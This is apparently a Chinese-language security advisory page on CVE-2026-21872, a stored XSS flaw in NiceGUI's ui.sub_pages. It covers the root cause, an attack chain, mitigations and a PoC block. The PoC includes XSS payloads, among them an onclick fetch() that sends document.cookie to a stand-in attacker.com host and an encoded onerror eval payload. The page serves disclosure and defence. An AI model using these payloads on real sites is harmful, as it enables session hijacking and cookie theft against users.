IPBUF安全漏洞报告
English
CVE-2026-21872 CVSS 6.1 中危

CVE-2026-21872: NiceGUI ui.sub_pages跨站脚本漏洞

披露日期: 2026-01-08

漏洞信息

漏洞编号
CVE-2026-21872
漏洞类型
XSS
CVSS评分
6.1 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
NiceGUI

相关标签

XSS跨站脚本NiceGUIWeb安全Python框架CVE-2026-21872UI框架漏洞存储型XSS

漏洞概述

CVE-2026-21872是NiceGUI框架中的一个存储型跨站脚本(XSS)漏洞。NiceGUI是一个基于Python的现代UI框架,广泛用于构建Web应用程序用户界面。该漏洞存在于ui.sub_pages功能的点击事件监听器实现中,由于对用户输入的链接渲染缺乏充分的输入验证和输出编码,攻击者可以注入恶意JavaScript代码。当其他用户访问包含恶意链接的页面并主动点击该链接时,攻击者的恶意脚本将在受害者浏览器中执行,可能导致会话劫持、敏感信息窃取、钓鱼攻击等严重安全问题。漏洞影响范围涵盖2.22.0至3.4.1版本,已在3.5.0版本中得到修复。

技术细节

该漏洞的根本原因在于NiceGUI的ui.sub_pages组件在处理链接点击事件时采用了不安全的实现方式。具体问题包括:1) 点击事件监听器直接使用攻击者可控的输入来渲染链接,未进行适当的HTML转义或内容安全策略验证;2) 链接渲染逻辑允许攻击者注入包含JavaScript协议(如javascript:)的URL或通过事件处理器属性注入脚本;3) 缺乏对用户输入的上下文感知编码,导致恶意脚本可以在DOM中被解析执行。攻击者利用此漏洞需要诱导受害者主动点击特制的恶意链接,触发点击事件后执行存储的XSS payload。由于ui.sub_pages通常用于构建多页面导航结构,攻击者注入的恶意代码可以在整个应用范围内持续存在并影响所有访问该页面的用户。

攻击链分析

STEP 1
步骤1
攻击者识别目标NiceGUI应用使用了ui.sub_pages功能,且应用未对用户输入的链接进行充分过滤
STEP 2
步骤2
攻击者构造包含恶意JavaScript代码的链接输入,如使用javascript:协议或HTML标签注入
STEP 3
步骤3
恶意链接被存储并渲染在应用页面上,由于缺乏输出编码,恶意脚本被浏览器解析
STEP 4
步骤4
受害者访问包含恶意链接的页面,攻击者诱导其点击该链接
STEP 5
步骤5
点击事件触发后,恶意JavaScript代码在受害者浏览器上下文中执行,导致Cookie窃取、会话劫持等攻击

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- CVE-2026-21872 XSS PoC for NiceGUI ui.sub_pages --> <!-- This PoC demonstrates the stored XSS vulnerability in NiceGUI sub_pages --> <!-- Malicious link payload that triggers XSS when clicked --> <a href="javascript:alert(document.cookie)">Click me</a> <!-- Alternative payload using event handlers --> <a href="#" onclick="fetch('https://attacker.com/steal?c='+document.cookie)">Click here</a> <!-- NiceGUI Python exploit example --> """ from nicegui import ui # Vulnerable code pattern (affected versions 2.22.0 - 3.4.1) @ui.page('/vulnerable') def vulnerable_page(): user_input = request.args.get('link', '') with ui.sub_pages(): ui.link(user_input, '/target') # XSS here - no sanitization # This allows attackers to inject: # javascript:alert('XSS') # <img src=x onerror=alert('XSS')> """ <!-- HTML injection vector --> <img src=x onerror="eval(atob('YWxlcnQoJ1hTUycpOw=='))">

影响范围

NiceGUI >= 2.22.0
NiceGUI < 3.5.0

防御指南

临时缓解措施
在官方补丁发布前,可采取以下临时缓解措施:1) 对所有ui.link组件的输入参数实施严格的输入验证和HTML编码;2) 配置Web应用防火墙(WAF)规则过滤javascript:等危险协议;3) 实施内容安全策略禁止内联脚本执行;4) 限制ui.sub_pages功能的访问权限;5) 监控应用日志关注异常的XSS探测行为。建议尽快升级到3.5.0版本以获得完整安全防护。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表